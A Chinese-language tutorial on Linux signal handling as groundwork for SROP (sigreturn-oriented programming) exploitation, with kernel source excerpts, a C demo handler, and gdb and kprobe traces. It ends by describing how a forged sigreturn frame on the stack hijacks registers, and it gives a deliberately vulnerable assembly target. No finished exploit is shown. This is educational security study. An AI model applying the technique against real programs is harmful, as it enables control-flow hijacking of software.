PWN入门-SROP拜师

科技   2024-10-29 17:58   上海  




进程的贴身行囊 - 信号


信号是用户态进程与内核进行通信的一种方式,它是陷阱(软中断)的一种。如果想要查看所有的信号类型可以查询Linux手册。

信号抵达进行需要经过两个步骤,一是发送信号,而是接收信号。

信号与进程组

在Linux中进程的待处理的信号由task_struct结构体中的signal成员和pending成员进行记录,signal成员和pending成员的区别在于,signal成员中存放的待处理信号对整个进程组都是生效的,而pending成员只对指定的线程有效。


signal成员由signal_struct结构体定义,该结构体中的shared_pending成员是管理共享信号的主要成员,它由由sigpending结构体定义,task_struct结构体中的pending成员也由sigpending结构体定义。


struct signal_struct {
refcount_t sigcnt;
......
struct sigpending shared_pending;
......
struct rw_semaphore exec_update_lock;
} __randomize_layout;

struct sigpending {
struct list_head list;
sigset_t signal;
};

struct taks_struct {
......
struct signal_struct *signal;
struct sighand_struct __rcu *sighand;
struct sigpending pending;
......
}


sigpending结构体中的list成员指向了待处理信号队列,从下面的定义中可以看到info记录了关键的信号信息。


sigpending结构体中还可以看到一个list成员的身影,既然sigpending结构体中的list成员已经可以管理待处理信号队列了,那么sigpending结构体中的list成员又有什么用呢?


#define __SIGINFO 			\
struct { \
int si_signo; \
int si_code; \
int si_errno; \
union __sifields _sifields; \
}

typedef struct kernel_siginfo {
__SIGINFO;
} kernel_siginfo_t;

struct sigqueue {
struct list_head list;
int flags;
kernel_siginfo_t info;
struct ucounts *ucounts;
};


要知道,在Linux中信号分成常规信号和实时信号,这里我们需要先了解一下它们的区别。

常规信号与实时信号

Linux中1号 - 31号是常规信号,32号+是实时信号。它们的区别在于,同进程下同类型的常规信号只能存在一个,当常规信号被响应后,下一个同类型的常规信号才可以进入队列。


对于实时信号来讲则不是这样,同进程下可以存在多个同类型的实时信号,系统会根据实时信号在队列中的数量进行多次响应。


因此sigpending结构体中的list成员管理着不同类型的信号,此链表中的信号类型是不能重复的,sigpending结构体中的list成员管理着同类型的信号,如果有需要且信号是实时信号,那么待处理信号就会被插入sigpending结构体中的list成员对应的队列中。


驱动验证

通过内核驱动(见附件)指定函数和进程ID,可以将进程尚未处理的信号信息打印出来,从下面可以看到,进程收到了信号SIGTERMSIGTERM信号的序号是15,该信号是对整个进程组生效的。


arch_do_signal_or_restart

[16176.561445] pending signal ->
[16176.561447] shared pending signal ->
[16176.561448] 00000000 - signal num = 15 ;

信号的发送

信号发送的原因可以分成三种,一是内核检测到错误发送(比如段错误,但并不是所有的错误都会导致信号产生)进而向进程组发送信号,二是主动发送信号(比如调用kill函数、alarm函数或者使用kill程序),三是外部事件触发的信号(如I/O设备、其他进程)。


通过Shell运行的进程,通过键盘输入CTRL + CCTRL + Z可以向进程发送SIGINTSIGTSTP信号。


信号的接收

进程接收到信号后,会根据信号的类型执行默认的行为(终止进程、终止进程并转储、挂起、忽略信号)。


在C语言中允许程序通过sigaction函数(更加强大,signal函数是sigaction函数的子集)设置指定信号的处理方法,而不是按照默认行为处理。


void (*signal(int sig, void (*func)(int)))(int);

int sigaction(int signum,
const struct sigaction *_Nullable restrict act,
struct sigaction *_Nullable restrict oldact
);

特殊的处理函数 ->
SIG_DFL:执行默认操作
SIG_IGN:忽略信号


C语言提供的信号处理函数并不是所有的信号都可以处理的,比如信号SIGKILLSIGSTOP,它们就必须执行默认行为。


用户态程序查看信号的发出方

有时候程序接收到信号后,我们会想要知道信号发出方的信息,因此下面给出了一种自定义信号处理函数获取发出方信息的办法。


下方直接给出了自定义信号处理操作的示例代码,代码由信号处理、全局跳转、退出处理三个部分组成。


自定义的信号处理函数会打印信号信息以及发送信息方的信息,发送方的信息被存储在my_signal_handle中的siginfo变量内。


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <setjmp.h>
#include <signal.h>
#include <ucontext.h>

typedef void (*signal_handle_func)(int, siginfo_t*, void*);

#define SIGNAL_REGISTER_FAILED ((signal_handle_func)-1)
#define SETJMP_RET_VAL_1 2333
#define KRNL_UCNTXT_ELE_CNT 5

typedef struct my_signal_info {
unsigned long sig_num;
signal_handle_func handle_func;
} my_siginfo;

static void my_signal_handle(int, siginfo_t*, void*);

static my_siginfo my_si[] = {
{
.sig_num = SIGKILL,
.handle_func = my_signal_handle,
},
{
.sig_num = SIGTERM,
.handle_func = my_signal_handle,
},
};
static int ret_num = 0;
static jmp_buf test_jmp_context;

static void my_atexit_func(void)
{
printf("enter %s, program will exit\n", __func__);
}

static void my_atexit_register(void (*func)(void))
{
int ret;

ret = atexit(func);
if (ret != 0) {
printf("register atexit function failed\n");

exit(ret);
}
}

static void siginfo_dump(siginfo_t* si)
{
if (si) {
printf(
"\n[**] signinfo (signinfo_t size 0x%llx) - (_sifields size 0x%llx):\n"
"si_signo = %08d ; si_errno = %08d ; si_code = %08d ;\n"
"si_pid = %08d ; si_uid = %08d ;\n"
"[--] _sifields will be displayed differently depending on the signal\n"
"[--] only pid and uid will be shown here\n",
sizeof(*si), sizeof(si->_sifields),
si->si_signo, si->si_errno, si->si_code,
si->_sifields._pad[0], si->_sifields._pad[1]
);
}
}

static void libc_fpstate_dump(fpregset_t fpregs)
{
printf(
"\tcwd = %d ; swd = %d ; ftw = %d ; fop = %d ;\n"
"\trip = 0x%016lx ; rdp = 0x%016lx ;\n"
"\tmxcsr = 0x%08x ; mxcr_mask = 0x%08x ;\n"
"\tno [_st] [_xmm]\n",
fpregs->cwd,
fpregs->swd,
fpregs->ftw,
fpregs->fop,
fpregs->rip,
fpregs->rdp,
fpregs->mxcsr,
fpregs->mxcr_mask
);
}

static void ucontext_dump(ucontext_t* ucontext)
{
ssize_t arr_size, ele_size, ele_cnt;
int i;

if (ucontext) {
printf(
"\n[**] ucontext (ucontext_t size 0x%llx):\n"
"uc_flags = 0x%016lx ; uc_link = 0x%016lx ;\n"
"uc_stack (stack_t size 0x%llx) ->\n"
"\tss_sp = 0x%016lx ; ss_flags = 0x%016lx ; ss_size = 0x%016lx\n"
"uc_mcontext (mcontext_t size 0x%llx) ->\n"
"\t---- gregs start ----",
sizeof(*ucontext),
ucontext->uc_flags, (unsigned long)ucontext->uc_link, sizeof(ucontext->uc_stack),
ucontext->uc_stack.ss_sp, ucontext->uc_stack.ss_flags, ucontext->uc_stack.ss_size,
sizeof(ucontext->uc_mcontext)
);

i = 0;
while (i < __NGREG) {
if ((i % 4) == 0) {
printf("\n\t");
}

printf(
"0x%016lx ; ", ucontext->uc_mcontext.gregs[i]
);

i++;
}

printf(
"\n\t---- gregs end ----\n"
"\t---- fpregs start -----\n"
);
libc_fpstate_dump(ucontext->uc_mcontext.fpregs);
printf("\t---- fpregs end ----\n");

printf(
"no uc_sigmask (sigset_t size 0x%llx)\n"
"__fpregs_mem (_libc_fpstate size 0x%llx) ->\n",
sizeof(ucontext->uc_sigmask), sizeof(ucontext->__fpregs_mem)
);
libc_fpstate_dump(&ucontext->__fpregs_mem);

i = 0;
arr_size = sizeof(ucontext->__ssp);
ele_size = sizeof(unsigned long long);
ele_cnt = arr_size / ele_size;
printf(
"__ssp (array size 0x%llx) ->\n\t",
arr_size
);
while (i < 4) {
printf("0x%016llx ; ", ucontext->__ssp[i]);

i++;
}
printf("\n");
}
}

static void my_signal_handle(int signum, siginfo_t* si, void* ucontext)
{
printf(
"\n[**] receive signal, signal base info:\n"
"signal num = %d \n"
"signal info = 0x%016lx\n"
"user context = 0x%016lx\n",
signum, (unsigned long)si, (unsigned long)ucontext
);

siginfo_dump(si);
ucontext_dump(ucontext);
}

static signal_handle_func my_customize_signal_register_process(my_siginfo* msi)
{
int ret;
struct sigaction new_act, old_act;

memset(&new_act, 0, sizeof(struct sigaction));

sigemptyset(&new_act.sa_mask);
new_act.sa_flags = SA_SIGINFO;
#ifdef SA_RESTART
new_act.sa_flags |= SA_RESTART;
#endif
new_act.sa_sigaction = msi->handle_func;

ret = sigaction(msi->sig_num, &new_act, &old_act);
if (ret != 0) {
return SIGNAL_REGISTER_FAILED;
}

return old_act.sa_sigaction;
}

static void my_signal_register(void)
{
signal_handle_func tmp_func;
size_t arry_size, ele_size, ele_cnt;

arry_size = sizeof(my_si);
ele_size = sizeof(my_siginfo);
ele_cnt = arry_size / ele_size;

do {
tmp_func = my_customize_signal_register_process(&my_si[ele_cnt - 1]);
if (tmp_func == SIGNAL_REGISTER_FAILED) {
printf("cannot register signo %d, errno %d\n", my_si[ele_cnt - 1].sig_num, errno);
}
else {
printf("register signo %d succeed\n", my_si[ele_cnt - 1].sig_num);
}
} while(--ele_cnt);
}

static void my_signal_setting(void)
{
my_atexit_register(my_atexit_func);

my_signal_register();
}

static void setting4globaljmp(void)
{
printf("enter %s\n", __func__);

longjmp(test_jmp_context, SETJMP_RET_VAL_1);

printf("leave %s\n", __func__);
}

static void global_jmp_test(void)
{
int cur_ret_val;

cur_ret_val = setjmp(test_jmp_context);
printf("num %d -> setjmp return: %d\n", ret_num, cur_ret_val);
ret_num++;

if (cur_ret_val == 0) {
setting4globaljmp();
}
}

int main(void)
{
my_signal_setting();
global_jmp_test();

printf("pid = %d, waiting for a signal\n", getpid());
pause();
}


运行程序后向程序发送SIGTERM信号后,程序出现如下的打印,从打印中可以看到程序收到信号15(对应SIGTERM),si_code为0对应着SI_USER,代表信号由用户发出,si_uid给出了该用户的用户ID,si_pid给出了发出信号的进程ID。


通过echo $$可以将kill程序运行的进程ID打印出来,该进程ID是和si_pid一致的。


程序运行结果:
register signo 15 succeed
cannot register signo 9, errno 22
num 0 -> setjmp return: 0
enter setting4globaljmp
num 1 -> setjmp return: 2333
pid = 10411, waiting for a signal

[**] receive signal, signal base info:
signal num = 15
signal info = 0x00007ffd67435e30
user context = 0x00007ffd67435d00

[**] signinfo (signinfo_t size 0x80) - (_sifields size 0x70):
si_signo = 00000015 ; si_errno = 00000000 ; si_code = 00000000 ;
si_pid = 00009013 ; si_uid = 00001000 ;
[--] _sifields will be displayed differently depending on the signal
[--] only pid and uid will be shown here

[**] ucontext (ucontext_t size 0x3c8):
uc_flags = 0x0000000000000006 ; uc_link = 0x0000000000000000 ;
uc_stack (stack_t size 0x18) ->
ss_sp = 0x0000000000000000 ; ss_flags = 0x0000000000000000 ; ss_size = 0x0000000000000000
uc_mcontext (mcontext_t size 0x100) ->
---- gregs start ----
0x0000000000000000 ; 0x0000000000000064 ; 0x00007ffd67436053 ; 0x0000000000000202 ;
0x0000000000000000 ; 0x00007ffd674362a8 ; 0x0000000000403d78 ; 0x00007f8de3eec020 ;
0x00007ffd67435c20 ; 0x0000000001b612a0 ; 0x00007ffd67436180 ; 0x00007ffd67436298 ;
0x0000000000000000 ; 0xfffffffffffffffc ; 0x00007f8de3d93d10 ; 0x00007ffd67436178 ;
0x00007f8de3d93d10 ; 0x0000000000000202 ; 0x002b000000000033 ; 0x0000000000000000 ;
0x0000000000000000 ; 0x0000000000000000 ; 0x0000000000000000 ;
---- gregs end ----
---- fpregs start -----
cwd = 895 ; swd = 0 ; ftw = 0 ; fop = 0 ;
rip = 0x0000000000000000 ; rdp = 0x0000000000000000 ;
mxcsr = 0x00001f80 ; mxcr_mask = 0x0002ffff ;
no [_st] [_xmm]
---- fpregs end ----
no uc_sigmask (sigset_t size 0x80)
__fpregs_mem (_libc_fpstate size 0x200) ->
cwd = 0 ; swd = 0 ; ftw = 0 ; fop = 0 ;
rip = 0x0000000000000000 ; rdp = 0x0000000000000000 ;
mxcsr = 0x0000037f ; mxcr_mask = 0x00000000 ;
no [_st] [_xmm]
__ssp (array size 0x20) ->
0x0000000000000000 ; 0x0000000000000000 ; 0x0000000000000000 ; 0x00007ffd67436160 ;
enter my_atexit_func, program will exit

主动触发程序信息:
kill -s SIGTERM 10411
echo $$
9013


当然这种方法仍然是不能处理某些信号的(如SIGKILLSIGSTOP等等)。

信号的处理流程

谁来接收信号?

此处以kill程序为例,我们通过strace工具追踪该程序产生的系统调用。


strace /usr/bin/kill -s SIGTERM 2790
execve("/usr/bin/kill", ["/usr/bin/kill", "-s", "SIGTERM", "2790"], 0x7ffc5e9561a8 /* 31 vars */) = 0
......
kill(2790, SIGTERM)
exit_group(0) = ?
+++ exited with 0 +++


在打印的内容中可以看到,kill程序通过kill函数向内核发出__NR_kill系统调用。


#define __NR_kill 62


内核会通过SYSCALL_DEFINE2(kill, pid_t, pid, int, sig)__NR_kill系统调用进行接收,其中的kill_something_info函数是实际处理的信号的地方。


SYSCALL_DEFINE2(kill, pid_t, pid, int, sig)
{
struct kernel_siginfo info;

prepare_kill_siginfo(sig, &info);

return kill_something_info(sig, &info, pid);
}


kill_something_info函数中不难看出,函数由三个部分组成,它们分别是pid > 0pid = -1pid < 0。,当pid > 0时,发送信号给指定的进程,当pid = -1时,发送信号给自身外的其余进程,当pid < 0时,发送信号给自身作者的进程组。


这里我们重点关注pid > 0的情况。


static int kill_something_info(int sig, struct kernel_siginfo *info, pid_t pid)
{
int ret;

if (pid > 0)
return kill_proc_info(sig, info, pid);

/* -INT_MIN is undefined. Exclude this case to avoid a UBSAN warning */
if (pid == INT_MIN)
return -ESRCH;

read_lock(&tasklist_lock);
if (pid != -1) {
......
} else {
......
}
read_unlock(&tasklist_lock);

return ret;
}


kill_proc_info函数最终会调用__send_signal_locked函数对信号进行处理。


__send_signal_locked函数的内部,首先会根据type变量判断是添加到给进程组还是线程(是PIDTYPE_PID时添加到线程队列),再通过__sigqueue_alloc分配一个sigqueue,然后sigqueue通过list_add_tail接口添加到task_strutpending成员的链表内,作为待处理信号,最后将信号信息和发送方信息添加到sigqueue内。


kill_proc_info
-> kill_pid_info
-> group_send_sig_info
-> do_send_sig_info
-> send_signal_locked
-> __send_signal_locked

enum pid_type
{
PIDTYPE_PID,
PIDTYPE_TGID,
PIDTYPE_PGID,
PIDTYPE_SID,
PIDTYPE_MAX,
};

static int __send_signal_locked(int sig, struct kernel_siginfo *info,
struct task_struct *t, enum pid_type type, bool force)
{
......
pending = (type != PIDTYPE_PID) ? &t->signal->shared_pending : &t->pending;
......
q = __sigqueue_alloc(sig, t, GFP_ATOMIC, override_rlimit, 0);
......
if (q) {
list_add_tail(&q->list, &pending->list);
switch ((unsigned long) info) {
case (unsigned long) SEND_SIG_NOINFO:
clear_siginfo(&q->info);
q->info.si_signo = sig;
q->info.si_errno = 0;
q->info.si_code = SI_USER;
q->info.si_pid = task_tgid_nr_ns(current,
task_active_pid_ns(t));
rcu_read_lock();
q->info.si_uid =
from_kuid_munged(task_cred_xxx(t, user_ns),
current_uid());
rcu_read_unlock();
break;
......
}
}
......
complete_signal(sig, t, type);
......
}


complete_signal函数会决定由信号由谁接收。首先判断的条件是wants_signal函数,在当前任务应该接收信号时,会将接收权限交给当前进程,之后如果发现信号是发送给指定线程或单线程进程的话,就会直接返回,最后会从多线程中找到一个可用的线程。


接下来如果发现发现信号是致命的,就会通过signal_wake_up接口给每一个线程都添加上TIF_SIGPENDING标志,反之则只给指定的线程添加TIF_SIGPENDING标志。


TIF_SIGPENDING标志代表存在待处理的信号。


signal_wake_up
-> signal_wake_up_state
-> set_tsk_thread_flag: TIF_SIGPENDING

static void complete_signal(int sig, struct task_struct *p, enum pid_type type)
{
struct signal_struct *signal = p->signal;
struct task_struct *t;

if (wants_signal(sig, p))
t = p;
else if ((type == PIDTYPE_PID) || thread_group_empty(p))
return;
else {
......
}
if (sig_fatal(p, sig) &&
(signal->core_state || !(signal->flags & SIGNAL_GROUP_EXIT)) &&
!sigismember(&t->real_blocked, sig) &&
(sig == SIGKILL || !p->ptrace)) {
......
do {
task_clear_jobctl_pending(t, JOBCTL_PENDING_MASK);
sigaddset(&t->pending.signal, SIGKILL);
signal_wake_up(t, 1);
} while_each_thread(p, t);
......
}
signal_wake_up(t, sig == SIGKILL);
return;
}

何时处理信号?

不管出于哪种原因发送信号,它们第一个需要的抵达的目标地点都是相同的,这个目标地点就是内核,那么内核又是如何进一步处理信号的呢?


对于内核而言,它会通过do_signal函数(它是架构指定的,具体名字可能不同)处理信号,下面通过kprobe机制中的pre_handlerarch_do_signal_or_restart函数之前打印出栈回溯(详情可见驱动代码)。


从栈回溯中可以看到,此时用户空间触发系统调用进入内核空间,当do_syscall_64函数执行完系统调用后,会调用syscall_exit_to_user_mode函数从内核空间退回到用户空间,使用arch_do_signal_or_restart函数处理信号的操作也发生在这一阶段。


CPU: 4 PID: 5738 Comm: srop_example
Call Trace:
<TASK>
dump_stack_lvl+0x44/0x5c
? arch_do_signal_or_restart+0x1/0x830
stack_dump_by_kprobe_pre+0x3b/0x40 [lde]
kprobe_ftrace_handler+0x10b/0x1b0
0xffffffffc02b90c8
? arch_do_signal_or_restart+0x1/0x830
arch_do_signal_or_restart+0x5/0x830
exit_to_user_mode_prepare+0x195/0x1e0
syscall_exit_to_user_mode+0x17/0x40
do_syscall_64+0x61/0xb0
......
entry_SYSCALL_64_after_hwframe+0x6e/0xd8


exit_to_user_mode_loop函数会接收ti_work参数,该参数调用read_thread_flags接口,该接口会从thread_info结构体内读出flags成员,接收ti_work参数后,会检查TIF_SIGPENDING标志位(上面说过,待处理信号会添加该标志位),如果发现TIF_SIGPENDING标志位存在,就说明存在待处理信号此时就会调用arch_do_signal_or_restart函数。


syscall_exit_to_user_mode
-> __syscall_exit_to_user_mode_work
-> exit_to_user_mode_prepare
-> exit_to_user_mode_loop
-> arch_do_signal_or_restart

ti_work = read_thread_flags();
static unsigned long exit_to_user_mode_loop(struct pt_regs *regs,
unsigned long ti_work)

{
......
if (ti_work & (_TIF_SIGPENDING | _TIF_NOTIFY_SIGNAL))
arch_do_signal_or_restart(regs);
......
}

如何处理信号?

arch_do_signal_or_restart函数响应的操作分成两部分,一是通过get_signal函数获取信号信息,二是通过handle_signal函数处理信号。


struct ksignal {
struct k_sigaction ka;
kernel_siginfo_t info;
int sig;
};
struct pt_regs *regs
struct ksignal ksig

arch_do_signal_or_restart
-> get_signal(&ksig)
-> handle_signal(&ksig, regs)


handle_signal函数首先会通过test_thread_flag函数检查TIF_SINGLESTEP标志位,该标志位用于标记程序是否被中断下来,如果标志位存在,那就会通过user_disable_single_step函数将TIF_SINGLESTEP标志位清除掉,并通知调试器。


当调试器挂载到程序后,再触发信号时,会发现调试器会先收到通知,之后才是信号处理函数,原因就在这里。


static void
handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
bool stepping, failed;
struct fpu *fpu = ¤t->thread.fpu;

......

stepping = test_thread_flag(TIF_SINGLESTEP);
if (stepping)
user_disable_single_step(current);

failed = (setup_rt_frame(ksig, regs) < 0);
if (!failed) {
regs->flags &= ~(X86_EFLAGS_DF|X86_EFLAGS_RF|X86_EFLAGS_TF);
fpu__clear_user_states(fpu);
}
signal_setup_done(failed, ksig, stepping);
}


setup_rt_frame函数是一个关键操作,第一步通过get_sigframe获取一个新的栈帧。


static int __setup_rt_frame(int sig, struct ksignal *ksig, sigset_t *set, struct pt_regs *regs)
{
struct rt_sigframe __user *frame;
void __user *fp = NULL;
unsigned long uc_flags;

if (!(ksig->ka.sa.sa_flags & SA_RESTORER))
return -EFAULT;

frame = get_sigframe(&ksig->ka, regs, sizeof(struct rt_sigframe), &fp);
uc_flags = frame_uc_flags(regs);

if (!user_access_begin(frame, sizeof(*frame)))
return -EFAULT;

unsafe_put_user(uc_flags, &frame->uc.uc_flags, Efault);
unsafe_put_user(0, &frame->uc.uc_link, Efault);
unsafe_save_altstack(&frame->uc.uc_stack, regs->sp, Efault);

unsafe_put_user(ksig->ka.sa.sa_restorer, &frame->pretcode, Efault);
unsafe_put_sigcontext(&frame->uc.uc_mcontext, fp, regs, set, Efault);
unsafe_put_sigmask(set, frame, Efault);
user_access_end();

if (ksig->ka.sa.sa_flags & SA_SIGINFO) {
if (copy_siginfo_to_user(&frame->info, &ksig->info))
return -EFAULT;
}

regs->di = sig;
regs->ax = 0;
regs->si = (unsigned long)&frame->info;
regs->dx = (unsigned long)&frame->uc;
regs->ip = (unsigned long) ksig->ka.sa.sa_handler;
regs->sp = (unsigned long)frame;
regs->cs = __USER_CS;

if (unlikely(regs->ss != __USER_DS))
force_valid_ss(regs);

return 0;

Efault:
user_access_end();
return -EFAULT;
}

setup_rt_frame
-> __setup_rt_frame


新的栈帧通过rt_sigframe结构体描述,其中pretcode代表着信号处理完成后下一步的返回地址,uc记录了上下文信息,info记录了信号信息。


struct rt_sigframe {
char __user *pretcode;
struct ucontext uc;
struct siginfo info;
};


通过user_access_end结束之前的操作,可以将原始的上下文信息保存在用户态程序的栈上。


完成栈上数据的设置操作后,会继续更新用户态程序的寄存器信息,其中当前程序指针寄存器被放置了信号处理函数的地址。


copy_siginfo_to_user会往ucontext_t涵盖的范围内进行复制

sp + 0x0 | sigreturn |
sp + 0x8 | ucontext_t* start |
sp + 0x3D0 | ucontext_t* end |

(gdb) p /x *(ucontext_t*)$rdx
$2 = {uc_flags = 0x6, uc_link = 0x0, uc_stack = {ss_sp = 0x0, ss_flags = 0x2,
ss_size = 0x0}, uc_mcontext = {gregs = {0x0, 0x64, 0x7fffffffddc4, 0x202, 0x0,
0x7fffffffe018, 0x403d78, 0x7ffff7ffd020, 0x7fffffffd990, 0x4052a0,
0x7fffffffdef0, 0x7fffffffe008, 0x0, 0xfffffffffffffffc, 0x7ffff7e9ed10,
0x7fffffffdee8, 0x7ffff7e9ed10, 0x202, 0x2b000000000033, 0x0, 0x1, 0x0, 0x0},
fpregs = 0x7fffffffdc40, __reserved1 = {0xc157, 0x7ffff7fc36b0, 0x3,
0x7fff00000000, 0xffe2e0, 0x7ffff7ffe668, 0x7ffff7fcb000, 0x7ffff7fcbb82}},
uc_sigmask = {__val = {0x0, 0xf, 0x0, 0x3e800000d81, 0x0 <repeats 12 times>}},
__fpregs_mem = {cwd = 0x0, swd = 0x0, ftw = 0x0, fop = 0x0, rip = 0x0, rdp = 0x0,
mxcsr = 0x37f, mxcr_mask = 0x0, _st = {{significand = {0x0, 0x0, 0x0, 0x0},
exponent = 0x0, __glibc_reserved1 = {0x0, 0x0, 0x0}}, {significand = {
0x1f80, 0x0, 0xffff, 0x2}, exponent = 0x0, __glibc_reserved1 = {0x0, 0x0,
0x0}}, {significand = {0x0, 0x0, 0x0, 0x0}, exponent = 0x0,
__glibc_reserved1 = {0x0, 0x0, 0x0}}, {significand = {0x0, 0x0, 0x0, 0x0},
exponent = 0x0, __glibc_reserved1 = {0x0, 0x0, 0x0}}, {significand = {0x0,
0x0, 0x0, 0x0}, exponent = 0x0, __glibc_reserved1 = {0x0, 0x0, 0x0}}, {
significand = {0x0, 0x0, 0x0, 0x0}, exponent = 0x0, __glibc_reserved1 = {
0x0, 0x0, 0x0}}, {significand = {0x0, 0x0, 0x0, 0x0}, exponent = 0x0,
__glibc_reserved1 = {0x0, 0x0, 0x8000}}, {significand = {0x4007, 0x0, 0x0,
0x0}, exponent = 0x0, __glibc_reserved1 = {0x0, 0x0, 0x8000}}}, _xmm = {{
element = {0x3fff, 0x0, 0x0, 0x80000000}}, {element = {0x3fff, 0x0,
0x4052a0, 0x0}}, {element = {0x4052a0, 0x0, 0x25252525, 0x25252525}}, {
element = {0x25252525, 0x25252525, 0x0, 0xffffff00}}, {element = {0x0,
0xffffff00, 0x0, 0x0}}, {element = {0xffffff00, 0x0, 0x0, 0xffff0000}}, {
element = {0x0, 0x0, 0x0, 0x0}}, {element = {0x0, 0x0, 0x0, 0x0}}, {
element = {0x0, 0x0, 0x6620676e, 0x6120726f}}, {element = {0x67697320,
0xa6c616e, 0xff000000, 0x0}}, {element = {0x0, 0x0, 0x656c70,
--Type <RET> for more, q to quit, c to continue without paging--
0x4c454853}}, {element = {0x622f3d4c, 0x622f6e69, 0x0, 0x0}}, {element = {
0x0, 0x0, 0x0, 0x0}}, {element = {0x0, 0x0, 0x0, 0x0}}, {element = {0x0,
0x0, 0x0, 0x0}}, {element = {0x0, 0x0, 0x0, 0x0}}}, __glibc_reserved1 = {
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xffffdef0, 0x7fff, 0x0, 0x0, 0xffffe018,
0x7fff, 0x403d78, 0x0, 0xf7ffd020, 0x7fff, 0xf7e1d65b, 0x7fff, 0x46505853,
0x204, 0x0, 0x0, 0x200, 0x0}}, __ssp = {0x0, 0x0, 0x0, 0x0}}


进入信号处理函数

我们在my_signal_handle函数进行处理时将程序中断下来观察栈回溯。


(gdb) bt
#0 my_signal_handle (signum=15, si=0x7fffffffdbb0, ucontext=0x7fffffffda80)
at main.c:152
#1 <signal handler called>
#2 0x00007ffff7e9ed10 in __libc_pause () at ../sysdeps/unix/sysv/linux/pause.c:29
#3 0x0000000000401789 in main () at main.c:241

#define __NR_rt_sigreturn 15

(gdb) frame 1
#1 <signal handler called>
(gdb) disassemble
Dump of assembler code for function __restore_rt:
=> 0x00007ffff7e07050 <+0>: mov $0xf,%rax
0x00007ffff7e07057 <+7>: syscall
0x00007ffff7e07059 <+9>: nopl 0x0(%rax)
End of assembler dump.


1号栈帧被内核放置了信号处理结束后的操作__restore_rt函数,这个函数非常简单,它会将系统调用号放入rax寄存器内,然后执行系统调用,系统调用号15对应着__NR_rt_sigreturn


(gdb) frame 1
#1 <signal handler called>
(gdb) disassemble
Dump of assembler code for function __restore_rt:
=> 0x00007f2ddea2c050 <+0>: mov $0xf,%rax
0x00007f2ddea2c057 <+7>: syscall
0x00007f2ddea2c059 <+9>: nopl 0x0(%rax)

完成信号处理后会干什么?

__restore_rt函数触发系统调用时就会再次陷入内核当中,内核根据系统调用__NR_rt_sigreturn会触发__do_sys_rt_sigreturn函数。


[10732.866379] CPU: 2 PID: 4567 Comm: srop_example Tainted: G           OE      6.1.0-25-amd64 #1  Debian 6.1.106-3
[10732.866382] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[10732.866384] Call Trace:
[10732.866387] <TASK>
[10732.866390] dump_stack_lvl+0x44/0x5c
[10732.866399] stack_dump_by_kprobe_pre+0x5a/0xef0 [lde]
[10732.866406] ? __do_sys_rt_sigreturn+0x1/0xf0
[10732.866411] kprobe_ftrace_handler+0x10b/0x1b0
[10732.866420] 0xffffffffc034e0c8
[10732.866428] ? __do_sys_rt_sigreturn+0x1/0xf0
[10732.866433] __do_sys_rt_sigreturn+0x5/0xf0
[10732.866437] do_syscall_64+0x55/0xb0
......
[10732.866503] entry_SYSCALL_64_after_hwframe+0x6e/0xd8


该函数操作并不复杂,主要就是还原之前保存在栈上的上下文信息。


SYSCALL_DEFINE0(rt_sigreturn)
{
struct pt_regs *regs = current_pt_regs();
struct rt_sigframe __user *frame;
sigset_t set;
unsigned long uc_flags;

frame = (struct rt_sigframe __user *)(regs->sp - sizeof(long));
if (!access_ok(frame, sizeof(*frame)))
goto badframe;
if (__get_user(*(__u64 *)&set, (__u64 __user *)&frame->uc.uc_sigmask))
goto badframe;
if (__get_user(uc_flags, &frame->uc.uc_flags))
goto badframe;

set_current_blocked(&set);

if (!restore_sigcontext(regs, &frame->uc.uc_mcontext, uc_flags))
goto badframe;

if (restore_altstack(&frame->uc.uc_stack))
goto badframe;

return regs->ax;

badframe:
signal_fault(regs, frame, "rt_sigreturn");
return 0;
}


此时再次回到用户态程序后,程序就会接着执行处理信号前的内容。





利用思路


在整个信号处理的过程中,内核会将上下文信息保存在用户态程序的栈上,后续再通过sigreturn系统调用发出恢复信号,因为用户态栈是可读可写的,这非常方便我们进行控制,当我么规划好sigreturn所需要的栈数据并触发sigreturn系统调用时,就会让程序跳入我们的控制之内。


那么栈上的上下文信息应该如何构造呢?


被压入栈的上下文信息通过ucontext_t结构体进行描述,ucontext_t结构体中的uc_mcontext成员内的gregs记录着信号处理函数执行前的寄存器信息。


---- gregs start ----
0x0000000000000000 ; 0x0000000000000064 ; 0x00007fffffffddc4 ; 0x0000000000000202 ;
0x0000000000000000 ; 0x00007fffffffe018 ; 0x0000000000403d78 ; 0x00007ffff7ffd020 ;
0x00007fffffffd990 ; 0x00000000004052a0 ; 0x00007fffffffdef0 ; 0x00007fffffffe008 ;
0x0000000000000000 ; 0xfffffffffffffffc ; 0x00007ffff7e9ed10 ; 0x00007fffffffdee8 ;
0x00007ffff7e9ed10 ; 0x0000000000000202 ; 0x002b000000000033 ; 0x0000000000000000 ;
0x0000000000000001 ; 0x0000000000000000 ; 0x0000000000000000 ;
---- gregs end ----

(gdb) info registers
rax 0xfffffffffffffdfe -514
rbx 0x7fffffffe008 140737488347144
rcx 0x7ffff7e9ed10 140737352690960
rdx 0x0 0
rsi 0x4052a0 4215456
rdi 0x7fffffffd990 140737488345488
rbp 0x7fffffffdef0 0x7fffffffdef0
rsp 0x7fffffffdee8 0x7fffffffdee8
r8 0x0 0
r9 0x64 100
r10 0x7fffffffddc4 140737488346564
r11 0x202 514
r12 0x0 0
r13 0x7fffffffe018 140737488347160
r14 0x403d78 4210040
r15 0x7ffff7ffd020 140737354125344
rip 0x7ffff7e9ed10 0x7ffff7e9ed10 <__libc_pause+16>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0


gregs中共包含23个寄存器,下面列出了元素0到元素22对应的寄存器名。


r8      r9      r10          r11
r12 r13 r14 r15
rdi rsi rbp rbx
rdx rax rcx rsp
rip eflags cs|gs|fs|ss err
trapno oldmask cr2


显然当我们控制rip寄存器及传递形参的rdi等寄存器中数值时,就可以借助sigreturn的返回操作跳转到我们期望中的位置,除此之外rsp寄存器也位于栈上,当通过pop rip(如ret)操作获取下一条程序指针时,我们就可以通过控制rsp组成利用链。






示例讲解


程序的源代码和编译命令在下方给出了。


编译命令:
as -o test.o main.S
ld -s -o test test.o

源代码:
.text
.global _start

_start:
xor %rax,%rax
mov $0x400,%edx
mov %rsp,%rsi
mov %rax,%rdi
syscall
ret


